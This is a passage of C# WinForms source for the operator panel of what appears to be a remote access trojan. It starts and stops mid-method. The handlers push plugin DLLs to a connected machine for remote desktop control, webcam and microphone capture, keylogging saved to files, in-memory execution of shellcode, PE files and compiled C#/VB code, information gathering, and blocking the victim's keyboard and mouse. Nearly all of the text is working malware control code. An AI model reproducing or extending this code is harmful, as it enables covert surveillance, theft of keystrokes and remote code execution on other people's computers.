        if (captureGuna2ToggleSwitch.Checked)\n            {\n                RemoteDesktopHandler = new RemoteDesktopHandler();\n                keysPressed = new List<Keys>();\n                this.RemoteDesktopHandler = new RemoteDesktopHandler();\n                RemoteDesktopHandler.BaseIp = this.ClientHandler.IP;\n                RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\RemoteDesktop.dll\"), 1),\n                    BaseIp = this.ClientHandler.IP,\n                    HWID = this.ClientHandler.HWID,\n                    width = remoteDesktopPictureBox.Width,\n                    height = remoteDesktopPictureBox.Height,\n                    format = \"JPEG\",\n                    quality = qualityGuna2TrackBar.Value,\n                    timeMS = 1\n                };\n                ClientHandler.StartSendData(this.ClientHandler, remoteViewerPacket);\n            }\n            else\n            {\n                mouseGuna2ToggleSwitch.Checked = false;\n                keyboardGuna2ToggleSwitch.Checked = false;\n                RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF)\n                {\n                    BaseIp = this.RemoteDesktopHandler.BaseIp,\n                    HWID = this.ClientHandler.HWID\n                };\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);\n            }\n        }\n        private void remoteDesktopPictureBox_SizeChanged(object sender, EventArgs e)\n        {\n            if (captureGuna2ToggleSwitch.Checked)\n            {\n                RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\RemoteDesktop.dll\"), 1),\n                    BaseIp = this.ClientHandler.IP,\n                    width = remoteDesktopPictureBox.Width,\n                    height = remoteDesktopPictureBox.Height,\n                    format = \"JPEG\",\n                    quality = qualityGuna2TrackBar.Value,\n                    timeMS = 1\n                };\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);\n            }\n        }\n        private void qualityGuna2TrackBar_ValueChanged(object sender, EventArgs e)\n        {\n            if (captureGuna2ToggleSwitch.Checked)\n            {\n                RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\RemoteDesktop.dll\"), 1),\n                    BaseIp = this.ClientHandler.IP,\n                    width = remoteDesktopPictureBox.Width,\n                    height = remoteDesktopPictureBox.Height,\n                    format = \"JPEG\",\n                    quality = qualityGuna2TrackBar.Value,\n                    timeMS = 1\n                };\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);\n            }\n        }\n\n        #region \"Mouse\"\n        private void mouseGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)\n        {\n            if (mouseGuna2ToggleSwitch.Checked)\n            { this.enabledMouse = true; this.remoteDesktopPictureBox.MouseWheel += remoteDesktopPictureBox_MouseWheel; }\n            else\n            { this.enabledMouse = false; this.remoteDesktopPictureBox.MouseWheel -= remoteDesktopPictureBox_MouseWheel; }\n        }\n\n        private void remoteDesktopPictureBox_MouseWheel(object sender, MouseEventArgs e)\n        {\n            if (enabledMouse)\n            {\n                RemoteMousePacket mousePacket = new RemoteMousePacket(e.Delta == 120 ? RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_UP : RemoteMousePacket.MouseTypeAction.MOVE_WHEEL_DOWN)\n                {\n                    x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width,\n                    y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height,\n                    BaseIp = this.ClientHandler.IP\n                };\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket);\n            }\n        }\n\n        private void remoteDesktopPictureBox_MouseDown(object sender, MouseEventArgs e)\n        {\n            if (enabledMouse)\n            {\n                RemoteMousePacket mousePacket = new RemoteMousePacket(RemoteMousePacket.MouseTypeAction.UNKNOWN);\n                if (e.Button == MouseButtons.Left)\n                    mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.LEFT_DOWN;\n\n                if (e.Button == MouseButtons.Right)\n                    mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.RIGHT_DOWN;\n\n                if (e.Button == MouseButtons.Middle)\n                    mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_DOWN;\n\n                mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width;\n                mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height;\n                mousePacket.BaseIp = this.ClientHandler.IP;\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket);\n            }\n        }\n\n        private void remoteDesktopPictureBox_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (enabledMouse)\n            {\n                RemoteMousePacket mousePacket = new RemoteMousePacket(RemoteMousePacket.MouseTypeAction.UNKNOWN);\n                if (e.Button == MouseButtons.Left)\n                    mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.LEFT_UP;\n\n                if (e.Button == MouseButtons.Right)\n                    mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.RIGHT_UP;\n\n                if (e.Button == MouseButtons.Middle)\n                    mousePacket.mouseTypeAction = RemoteMousePacket.MouseTypeAction.MIDDLE_UP;\n\n                mousePacket.x = e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width;\n                mousePacket.y = e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height;\n                mousePacket.BaseIp = this.ClientHandler.IP;\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, mousePacket);\n            }\n        }\n\n        private void remoteDesktopPictureBox_MouseMove(object sender, MouseEventArgs e)\n        {\n            if (enabledMouse)\n            {\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteMousePacket\n                    (\n                        RemoteMousePacket.MouseTypeAction.MOVE_MOUSE,\n                        e.X * this.RemoteDesktopHandler.HResol / remoteDesktopPictureBox.Width,\n                        e.Y * this.RemoteDesktopHandler.VResol / remoteDesktopPictureBox.Height\n                    ){ BaseIp = this.ClientHandler.IP }\n                    );\n            }\n        }\n        #endregion\n        #region \"Keyboard\"\n        private void keyboardGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)\n        {\n            if (keyboardGuna2ToggleSwitch.Checked)\n            { this.enableKeyboard = true; }\n            else\n            { this.enableKeyboard = false; }\n        }\n\n        private void ClientForm_KeyUp(object sender, KeyEventArgs e)\n        {\n            if (enableKeyboard)\n            {\n                if (!IsLockKey(e.KeyCode))\n                    e.Handled = true;\n                keysPressed.Remove(e.KeyCode);\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, false) { BaseIp = this.ClientHandler.IP });\n            }\n        }\n\n        private void ClientForm_KeyDown(object sender, KeyEventArgs e)\n        {\n            if (enableKeyboard)\n            {\n                if (!IsLockKey(e.KeyCode))\n                    e.Handled = true;\n\n                if (keysPressed.Contains(e.KeyCode))\n                    return;\n\n                keysPressed.Add(e.KeyCode);\n                ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, new RemoteKeyboardPacket((byte)e.KeyCode, true) { BaseIp = this.ClientHandler.IP });\n            }\n        }\n\n        private bool IsLockKey(Keys key)\n        {\n            return ((key & Keys.CapsLock) == Keys.CapsLock)\n                   || ((key & Keys.NumLock) == Keys.NumLock)\n                   || ((key & Keys.Scroll) == Keys.Scroll);\n        }\n        #endregion\n        private void saveRemoteDesktopToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            if (this.remoteDesktopPictureBox.Image != null)\n            {\n                string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString();\n                File.WriteAllBytes(this.ClientHandler.ClientPath + \"\\\\\" + \"Screenshots\\\\\" + Date + \".jpeg\", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteDesktopPictureBox.Image));\n            }\n        }\n        #endregion\n        #region \"Remote WebCam\"\n        private void getWebCamToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            RemoteCameraPacket remoteCameraPacket = new RemoteCameraPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\RemoteCamera.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, remoteCameraPacket);\n        }\n\n        private void captureWebCamGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)\n        {\n            RemoteCameraCapturePacket remoteCameraCapturePacket;\n            if (captureWebCamGuna2ToggleSwitch.Checked)\n            {\n                this.RemoteWebCamHandler = new RemoteWebCamHandler\n                {\n                    HasAlreadyConnected = false\n                };\n\n                if (camerasGuna2ComboBox.Items.Count > 0 && camerasGuna2ComboBox.SelectedItem != null)\n                {\n                    remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_ON)\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\RemoteCamera.dll\"), 1),\n                        timeMS = 1,\n                        index = camerasGuna2ComboBox.SelectedIndex,\n                        quality = qualityGuna2TrackBar.Value,\n                        BaseIp = this.ClientHandler.IP\n                    };\n                    ClientHandler.StartSendData(this.ClientHandler, remoteCameraCapturePacket);\n                }\n            }\n            else\n            {\n                if (ClientHandler != null && camerasGuna2ComboBox.Items.Count > 0)\n                {\n                    remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF)\n                    {\n                        BaseIp = this.ClientHandler.IP,\n                        HWID = this.ClientHandler.HWID\n                    };\n                    ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket);\n                }\n            }\n        }\n\n        private void saveWebCamToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            if (this.remoteWebCamPictureBox.Image != null)\n            {\n                string Date = DateTime.UtcNow.DayOfYear.ToString() + DateTime.UtcNow.Hour.ToString() + DateTime.UtcNow.Minute.ToString() + DateTime.UtcNow.Second.ToString() + DateTime.UtcNow.Millisecond.ToString();\n                File.WriteAllBytes(this.ClientHandler.ClientPath + \"\\\\\" + \"Camera\\\\\" + Date + \".\" + \"png\", PacketLib.Utils.ImageProcessing.ImageToBytes(this.remoteWebCamPictureBox.Image));\n            }\n        }\n        #endregion\n        #region \"Remote Audio\"\n        private void SetLocalAudioDevices()\n        {\n            for (int i = 0; i < WaveOut.DeviceCount; i++)\n            {\n                WaveOutCapabilities deviceInfo = WaveOut.GetCapabilities(i);\n                currentMachineDevicesGuna2ComboBox.Items.Add(deviceInfo.ProductName);\n            }\n            currentMachineDevicesGuna2ComboBox.SelectedIndex = 0;\n        }\n\n        private void remoteMicrophoneGuna2ToggleSwitch_CheckedChanged(object sender, EventArgs e)\n        {\n            RemoteAudioCapturePacket remoteAudioCapturePacket;\n            if (remoteMicrophoneGuna2ToggleSwitch.Checked)\n            {\n                if (audioDevicesGuna2ComboBox.Items.Count > 0)\n                {\n                    this.RemoteMicrophoneHandler = new RemoteMicrophoneHandler\n                    {\n                        HasAlreadyConnected = false\n                    };\n\n                    this.RemoteMicrophoneHandler.WaveOut.DeviceNumber = currentMachineDevicesGuna2ComboBox.SelectedIndex;\n                    this.RemoteMicrophoneHandler.WaveOut.Init(this.RemoteMicrophoneHandler.BufferedWaveProvider);\n                    this.RemoteMicrophoneHandler.WaveOut.Play();\n\n                    remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_ON)\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\AudioRecording.dll\"), 1),\n                        index = audioDevicesGuna2ComboBox.SelectedIndex,\n                        BaseIp = this.ClientHandler.IP\n                    };\n                    ClientHandler.StartSendData(this.ClientHandler, remoteAudioCapturePacket);\n                }\n            }\n            else\n            {\n                if (ClientHandler != null)\n                {\n                    remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF)\n                    {\n                        BaseIp = this.ClientHandler.IP,\n                        HWID = this.ClientHandler.HWID\n                    };\n                    ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket);\n                }\n            }\n        }\n\n        private void getMicrophonesToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\AudioRecording.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, remoteAudioPacket);\n        }\n        #endregion\n        #region \"Remote Execution\"\n        #region \"DotNet\"\n        private void sendDotNetGuna2Button_Click(object sender, EventArgs e)\n        {\n            RemoteCodeExecution remoteCodeExecution = null;\n\n            List<string> reference = new List<string>();\n            foreach (DataGridViewRow row in this.importLibDataGridView.Rows)\n            {\n                reference.Add(row.Cells[\"Column31\"].Value.ToString());\n            }\n\n            switch (languageComboBox.Text)\n            {\n                case \"C#\":\n                    remoteCodeExecution = new RemoteCodeExecution\n                        (\n                        PacketType.MEM_EXEC_CSHARP_CODE,\n                        $\"/target:winexe /platform:{platformGuna2ComboBox.Text} /optimize- /unsafe\",\n                        codeTextBox.Text,\n                        reference\n                        );\n                    break;\n\n\n                case \"VB\":\n                    remoteCodeExecution = new RemoteCodeExecution(\n                        PacketType.MEM_EXEC_VB_CODE,\n                         $\"/target:winexe /platform:{platformGuna2ComboBox.Text} /optimize- /unsafe\",\n                         codeTextBox.Text,\n                         reference\n                        );\n                    break;\n\n            }\n\n            if (remoteCodeExecution != null)\n                remoteCodeExecution.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\MemoryExecution.dll\"), 1);\n\n            ClientHandler.StartSendData(this.ClientHandler, remoteCodeExecution);\n        }\n\n        private void testDotNetGuna2Button_Click(object sender, EventArgs e)\n        {\n            List<string> reference = new List<string>();\n            foreach (DataGridViewRow row in this.importLibDataGridView.Rows)\n            {\n                reference.Add(row.Cells[\"Column31\"].Value.ToString());\n            }\n\n            switch (languageComboBox.Text)\n            {\n                case \"C#\":\n                    {\n                        Misc.DotNetCodeExecution.TryLocally(new CSharpCodeProvider(new Dictionary<string, string>() { { \"CompilerVersion\", \"v4.0\" } }),\n                            codeTextBox.Text, platformGuna2ComboBox.Text,\n                            string.Join(\",\", reference).Split(new string[] { \",\" }, StringSplitOptions.RemoveEmptyEntries));\n                        break;\n                    }\n\n                case \"VB\":\n                    {\n                        Misc.DotNetCodeExecution.TryLocally(new VBCodeProvider(new Dictionary<string, string>() { { \"CompilerVersion\", \"v4.0\" } }),\n                            codeTextBox.Text, platformGuna2ComboBox.Text,\n                            string.Join(\",\", reference).Split(new string[] { \",\" }, StringSplitOptions.RemoveEmptyEntries));\n                        break;\n                    }\n            }\n        }\n        private void languageComboBox_SelectedIndexChanged(object sender, EventArgs e)\n        {\n            if (languageComboBox.SelectedIndex == 0)\n            {\n                codeTextBox.Language = Language.CSharp;\n                codeTextBox.Text = codeTextBox.Text = Misc.DotNetCodeExecution.GetCode(Language.CSharp);\n            }\n            else\n            {\n                codeTextBox.Language = Language.VB;\n                codeTextBox.Text = Misc.DotNetCodeExecution.GetCode(Language.VB);\n            }\n        }\n        private void addImportLibContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            string newReference = Interaction.InputBox(\"Add reference\");\n            if (!newReference.EndsWith(\".dll\"))\n                newReference += \".dll\";\n            Misc.DotNetCodeExecution.RowAdder(newReference, this.importLibDataGridView);\n        }\n\n        private void removeImportLibContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow row in this.importLibDataGridView.SelectedRows)\n            {\n                this.importLibDataGridView.Rows.RemoveAt(row.Index);\n            }\n        }\n\n        private void importLibDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = importLibDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    importLibDataGridView.ClearSelection();\n                    importLibDataGridView.CurrentCell = null;\n                }\n            }\n        }\n        #endregion\n        #region \"Shellcode\"\n        private void shellcodeDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = shellcodeDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    shellcodeDataGridView.ClearSelection();\n                    shellcodeDataGridView.CurrentCell = null;\n                }\n            }\n        }\n        private void shellcodeDataGridView_DragEnter(object sender, DragEventArgs e)\n        {\n            e.Effect = DragDropEffects.Move;\n        }\n        private void shellcodeDataGridView_DragDrop(object sender, DragEventArgs e)\n        {\n            string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);\n            foreach (string file in files)\n            {\n                int rowId = this.shellcodeDataGridView.Rows.Add();\n                DataGridViewRow row = this.shellcodeDataGridView.Rows[rowId];\n                row.Cells[\"Column32\"].Value = file;\n            }\n        }\n\n        private void addShellCodeContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            using (OpenFileDialog openFileDialog = new OpenFileDialog()) \n            {\n                if (openFileDialog.ShowDialog() == DialogResult.OK) \n                {\n                    foreach (string shellPath in openFileDialog.FileNames) \n                    {\n\n                        int rowId = this.shellcodeDataGridView.Rows.Add();\n\n                        DataGridViewRow row = this.shellcodeDataGridView.Rows[rowId];\n\n                        row.Cells[\"Column32\"].Value = shellPath;\n                    }\n                }\n            }\n        }\n\n        private void removeShellCodeContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow shellcode in shellcodeDataGridView.SelectedRows)\n            {\n                shellcodeDataGridView.Rows.RemoveAt(shellcode.Index);\n            }\n        }\n\n        private void sendShellcodeToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow shellcode in shellcodeDataGridView.SelectedRows)\n            {\n                MemoryExecutionPacket memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_SHELLCODE, Compressor.QuickLZ.Compress(File.ReadAllBytes(shellcode.Cells[0].Value.ToString()), 1))\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\MemoryExecution.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);\n            }\n        }\n\n        #endregion\n        #region \"PE\"\n        private void nativePEDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = nativePEDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    nativePEDataGridView.ClearSelection();\n                    nativePEDataGridView.CurrentCell = null;\n                }\n            }\n        }\n        private void nativePEDataGridView_DragEnter(object sender, DragEventArgs e)\n        {\n            e.Effect = DragDropEffects.Move;\n        }\n\n        private void nativePEDataGridView_DragDrop(object sender, DragEventArgs e)\n        {\n            string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);\n            foreach (string file in files)\n            {\n                int rowId = this.nativePEDataGridView.Rows.Add();\n                DataGridViewRow row = this.nativePEDataGridView.Rows[rowId];\n                row.Cells[\"Column35\"].Value = file;\n            }\n        }\n\n        private void addNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            using (OpenFileDialog openFileDialog = new OpenFileDialog())\n            {\n                if (openFileDialog.ShowDialog() == DialogResult.OK)\n                {\n                    foreach (string nativePath in openFileDialog.FileNames)\n                    {\n\n                        int rowId = this.nativePEDataGridView.Rows.Add();\n\n                        DataGridViewRow row = this.nativePEDataGridView.Rows[rowId];\n\n                        row.Cells[\"Column35\"].Value = nativePath;\n                    }\n                }\n            }\n        }\n\n        private void removeNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow nativePE in nativePEDataGridView.SelectedRows)\n            {\n                nativePEDataGridView.Rows.RemoveAt(nativePE.Index);\n            }\n        }\n\n        private void sendNativePEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            MemoryExecutionPacket memoryExecutionPacket;\n            foreach (DataGridViewRow nativePE in nativePEDataGridView.SelectedRows)\n            {\n                if (nativePE.Cells[0].Value.ToString().EndsWith(\".dll\"))\n                {\n                    memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1))\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\MemoryExecution.dll\"), 1)\n                    };\n                    ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);\n                }\n                else\n                {\n                    memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_NATIVE_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(nativePE.Cells[0].Value.ToString()), 1))\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\MemoryExecution.dll\"), 1)\n                    };\n                    ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);\n                }\n            }\n        }\n        #endregion\n        #region \"Managed PE\"\n        private void managedPEDataGridView_MouseUp(object sender, MouseEventArgs e)\n        {\n            if (e.Button == MouseButtons.Left)\n            {\n                DataGridView.HitTestInfo hit = managedPEDataGridView.HitTest(e.X, e.Y);\n                if (hit.Type == DataGridViewHitTestType.None)\n                {\n                    managedPEDataGridView.ClearSelection();\n                    managedPEDataGridView.CurrentCell = null;\n                }\n            }\n        }\n\n        private void managedPEDataGridView_DragEnter(object sender, DragEventArgs e)\n        {\n            e.Effect = DragDropEffects.Move;\n        }\n\n        private void managedPEDataGridView_DragDrop(object sender, DragEventArgs e)\n        {\n            string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);\n            foreach (string file in files)\n            {\n                int rowId = this.managedPEDataGridView.Rows.Add();\n                DataGridViewRow row = this.managedPEDataGridView.Rows[rowId];\n                row.Cells[\"Column33\"].Value = file;\n                if (file.EndsWith(\".dll\"))\n                {\n                    string etp = Microsoft.VisualBasic.Interaction.InputBox(\"Entrypoint : (Namespace.class.function)\");\n                    row.Cells[\"Column34\"].Value = etp;\n                }\n            }\n        }\n\n        private void sendManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            MemoryExecutionPacket memoryExecutionPacket;\n            foreach (DataGridViewRow managedPE in managedPEDataGridView.SelectedRows)\n            {\n                if (managedPE.Cells[0].Value.ToString().EndsWith(\".dll\"))\n                {\n                    memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_DLL, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1))\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\MemoryExecution.dll\"), 1),\n                        managedEntryPoint = managedPE.Cells[1].Value.ToString()\n                    };\n                    ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);\n                }\n                else\n                {\n                    memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1))\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\MemoryExecution.dll\"), 1)\n                    };\n                    ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket);\n                }\n            }\n        }\n\n        private void removeManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow managedPE in managedPEDataGridView.SelectedRows)\n            {\n                managedPEDataGridView.Rows.RemoveAt(managedPE.Index);\n            }\n        }\n\n        private void addManagedPEContextMenuStripToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            using (OpenFileDialog openFileDialog = new OpenFileDialog())\n            {\n                if (openFileDialog.ShowDialog() == DialogResult.OK)\n                {\n                    foreach (string managedPath in openFileDialog.FileNames)\n                    {\n\n                        int rowId = this.managedPEDataGridView.Rows.Add();\n\n                        DataGridViewRow row = this.managedPEDataGridView.Rows[rowId];\n\n                        row.Cells[\"Column33\"].Value = managedPath;\n                    }\n                }\n            }\n        }\n\n        #endregion\n        #endregion\n        #region \"Information\"\n        private void retrieveInformationGuna2Button_Click(object sender, EventArgs e)\n        {\n            InformationPacket informationPacket = new InformationPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Information.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, informationPacket);\n        }\n        private void retrieveNetworkGuna2Button_Click(object sender, EventArgs e)\n        {\n            NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Information.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, networkInformationPacket);\n        }\n        #endregion\n        #region \"Keylogger\"\n        private void keyloggerGuna2Button_Click(object sender, EventArgs e)\n        {\n            KeylogPacket keylogPacket;\n            if (this.keyloggerGuna2Button.Text == \"Start\")\n            {\n                this.KeyloggerHandler = new KeyloggerHandler();\n                keylogPacket = new KeylogPacket\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Keylogger.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, keylogPacket);\n                this.keyloggerGuna2Button.Text = \"Stop\";\n            }\n            else\n            {\n                keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Keylogger.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket);\n                this.keyloggerGuna2Button.Text = \"Start\";\n                File.WriteAllText(this.ClientHandler.ClientPath + \"\\\\Keystrokes\\\\\" + Misc.Utils.DateFormater() + \".txt\", keystrokeRichTextBox.Text);\n            }\n        }\n        #endregion\n        #region \"Chat\"\n        private void chatGuna2Button_Click(object sender, EventArgs e)\n        {\n            RemoteChatPacket chatPacket;\n            if (this.chatGuna2Button.Text == \"Start\")\n            {\n                this.ChatHandler = new ChatHandler();\n                chatPacket = new RemoteChatPacket(PacketType.CHAT_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Chat.dll\"), 1),\n                    BaseIp = this.ClientHandler.IP\n                };\n                ClientHandler.StartSendData(this.ClientHandler, chatPacket);\n                this.chatGuna2Button.Text = \"Stop\";\n            }\n            else\n            {\n                chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF)\n                {\n                    BaseIp = this.ClientHandler.IP\n                };\n                ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket);\n                this.chatGuna2Button.Text = \"Start\";\n            }\n        }\n\n        private void chatSendGuna2Button_Click(object sender, EventArgs e)\n        {\n            if (this.ChatHandler != null)\n            {\n                RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON)\n                {\n                    msg = usernameChatGuna2TextBox.Text + \": \" + messageChatGuna2TextBox.Text + \"\\n\",\n                    BaseIp = this.ClientHandler.IP\n                };\n                this.messageRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);\n                this.messageRichTextBox.AppendText(chatPacket.msg);\n                ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket);\n                this.messageChatGuna2TextBox.Text = \"\";\n            }\n        }\n        #endregion\n        #region \"Other\"\n        #region \"Hardware\"\n        private void blockKeyboardGuna2CheckBox_CheckedChanged(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket;\n            if (this.blockKeyboardGuna2CheckBox.Checked)\n            {\n                miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_OFF)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Hardware.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n            }\n            else\n            {\n                miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Hardware.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n            }\n        }\n\n        private void blockMouseGuna2CheckBox_CheckedChanged(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket;\n            if 